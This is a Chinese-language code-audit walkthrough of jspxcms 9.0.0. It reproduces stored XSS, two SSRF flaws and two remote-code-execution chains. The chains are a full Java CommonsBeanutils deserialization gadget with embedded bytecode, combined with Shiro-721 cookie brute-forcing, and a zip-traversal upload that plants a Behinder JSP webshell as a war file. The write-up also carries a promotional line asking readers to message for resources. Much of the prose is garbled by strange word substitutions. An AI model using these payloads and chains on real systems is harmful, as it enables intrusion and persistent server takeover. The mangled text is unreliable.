环境需求
系统：Windows10中间件：https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.58/bin/apache-tomcat-9.0.58-windows-x64.zip数据库：用phpstudy携带的5.7.26版本即可jspxcms安装包(支配到Tomcat用来复现)：https://www.ujcms.com/uploads/jspxcms-9.0.0-release.zipjspxcms源码包(支配到IDEA进行剖析)：https://www.ujcms.com/uploads/jspxcms-9.0.0-release-src.zip
支配过程一、jspxcms安装包支配到Tomcat
解压好jspxcms安装包后，将Tomcat的ROOT目录更换为jspxcms的ROOT目录。
修正application.properties数据库信息，末了启动Tomcat就支配完成了。
二、jspxcms源码支配到IDEA
利用IDEA打开解压好的源码目录，由于利用了SpringBoot，直接启用主程序Application即可。
漏洞复现一、XSS
在首页随便打开一条新闻，评论须要登录，先注册一个用户，然后提交评论，利用burpsuite抓包。
查看要求包可以看到要求路径是/comment_submit，通过路径定位到源码。
【→所有资源关注我，私信回答“资料”获取←】1、网络安全学习路线2、电子书本（白帽子）3、安全大厂内部视频4、100份src文档5、常见安全口试题6、ctf大赛经典题目解析7、全套工具包8、应急相应条记
在IDEA利用Ctrl+Shift+F搜索comment_submit，很随意马虎就可以找到，在此处下断点进行调试。
重新发布一条评论，回到 IDEA，可以看到变量 text 吸收了评论的内容，然后又调用了 submit。
跟进这个 submit，在调用 service 层进行业务处理的位置下断点。可以看到利用了 comment 工具的属性去保存 text 然后通报给 service.save ，text 的内容没有被改变。跟进 service.save 在调用 dao 层的位置下断点。
可以看到看到 text 内容还是没有改变，跟到这里就行了，由于 dao 层一样平常只做跟数据库干系的操作，不会有任何安全处理。就这样评论的内容被写入到数据库里了。
但是在文章页面并没有触发XSS，以是须要探求是否有其他页面可以触发。在 burpsute 可以看到评论的内容在要求 /comment_list 时得到，并且该内容进行了HTML实体编码。利用 IDEA 的搜索功能查找该前端页面。
直接到实际处理数据的 list 方法下断点进行调试。跟进 site.getTemplate 可以看到前端页面的路径是 /1/default/sys_comment_list.html。
查看该页面是如何做转移处理的，在 pom.xml 查看项目依赖，可以看到项目利用的前端框架是什么 freemarker。结合 sys_comment_list.html 的内容与解释文档可知前端页面利用了什么 escape 标签进行 HTML 实体编码。
那么找找跟评论干系并且没有 escape 标签的前端页面，找到了 sys_member_space_comment.html 符合条件。利用IDEA搜索，查看如何才能访问到 sys_member_space_comment.html，可以看到在 sys_member_space.html 下参数 type 即是 comment 那么 sys_member_space_comment.html 就会被包含 。
查看如何访问 sys_member_space.html，可以看到文件名被定义为常量，space 方法利用了该常量，也便是说访问路径的格式为 /space/{id} 时就能触发 XSS 了。
XSS漏洞触发效果如下所示。
二、SSRF
审计 SSRF 时须要把稳的敏感函数：
URL.openConnection()URL.openStream()HttpClient.execute()HttpClient.executeMethod()HttpURLConnection.connect()HttpURLConnection.getInputStream()HttpServletRequest()BasicHttpEntityEnclosingRequest()DefaultBHttpClientConnection()BasicHttpRequest()
第一处 SSRF：直策应用 IDEA 搜索敏感函数，找到一处利用了 HttpClient.execute() 的方法 fetchHtml()，它被当前类的另一个 fetchHtml() 调用。
在 fetchUrl() 调用了 fetchHtml()，并且这个方法可以直接被 HTTP 访问。
利用 python 开启一个大略单纯的 http 做事员进行测试，测试效果如下所示，成功触发 SSRF。
第二处 SSRF：搜索 openConnection ，可以看到该方法 ueditorCatchImage() 下，参数 source[] 直接可控，当实行到 conn.getContentType().indexOf("image") 时就会去要求相应的资源。
搜索调用 ueditorCatchImage() 方法的位置，可以看到访问路径为 /ueditor，action 参数须要即是 catchimage。
布局 payload 触发漏洞，如下所示成功触发 SSRF。
三、RCE
第一处 反序列化RCE在审计 RCE 时须要先查看项目利用了哪些依赖包，可以看到项目中的依赖包是否符合 ysoserial 中的 CommonsBeanutils1 的条件，但是依赖包版本有一些差异。
我们直接在项目中创建一个 test 类进行测试，查看反序列化是否能成功实行，我在测试时创造反序列化 ysoserial 的 CommonsBeanutils1 并不能成功，然后我利用之前跟p牛学的payload可以成功弹出打算器，如下图所示。
Payload：
package com.jspxcms.core.test;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue;public class test { public static void main(String[] args) throws Exception{ byte[] code = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAHTEhlbGxvOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAlAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHACYBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwAGQAaBwAnDAAoACkBAAhjYWxjLmV4ZQwAKgArAQAFSGVsbG8BAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAAAwACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABEACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAAEwAEABQADQAVAAsAAAAMAAEAAAAOAAwADQAAABIAAAAEAAEAGwABABwAAAACAB0="); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{code}); setFieldValue(obj, "_name", "xxx"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); PriorityQueue queue = new PriorityQueue(2, comparator); queue.add("x"); queue.add("x"); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{obj, obj}); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("src\\main\\java\\com\\jspxcms\\core\\test\\ser.txt")); out.writeObject(queue); out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("src\\main\\java\\com\\jspxcms\\core\\test\\ser.txt")); in.readObject(); in.close(); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); }}
经由测试反序列漏洞是可以利用的，现在须要一处吸收反序列化数据触发漏洞的地方。连续查看依赖包创造没有利用了 Apache Shiro 并且版本小于 1.4.2，可以利用 Shiro-721。这里我利用 https://github.com/inspiringz/Shiro-721 进行测试。
爆破出可以攻击的 rememberMe Cookie 大概须要一个多小时，如下界面所示。
进行测试成功弹出打算器，反序列化 RCE 利用成功。
第二处 文件上传RCE这个漏洞在文件管理的压缩包上传功能，上传的压缩包会被自动解压，如果我们在压缩包中放入 war 并合营解压后的目录穿越 war 包就会被移动到 tomcat 的 webapps 目录，而 tomcat 会自动解压 war 包。
这里我利用冰蝎的 jsp webshell ，将 webshell 打包成 war 包。
然后将 war 包打包成压缩文件。
把稳：这里测试须要启动 tomcat 做测试，而不是 IDEA 的 SpringBoot，否则可能无法成功。上传完之后连接 webshell 成功 RCE。
剖析漏洞产生的缘故原由，抓取文件上传的要求包，通过要求路径利用 IDEA 定位到代码。
到 super.zipUpload 处下断点进行调试，连续跟入 AntZipUtils.unzip(）。
可以看到文件没有做安全处理，实行到 fos.write 时 shell.war 就被写入到 tomcat 的 webapps 目录了，这里的目录名不太对劲，由于是在 IDEA 启动 SpringBoot 进行调试的时候，无须在意，剖析到这里就结束了。
为什么不直接上传 jsp 文件 getshell 呢？我们试一下，创造相应 404 文件不存在，并且文件路径前加了 /jsp。
通过调试创造 JspDispatcherFilter.java 会对访问的 jsp 文件路径前加 /jsp，这便是不直接上传 jsp 文件 getshell的缘故原由。而我们利用压缩包的办法会将 shell.war 解压到 tomcat 的 webapps 目录，这相称于一个新的网站项目JspDispatcherFilter.java 是管不着的。
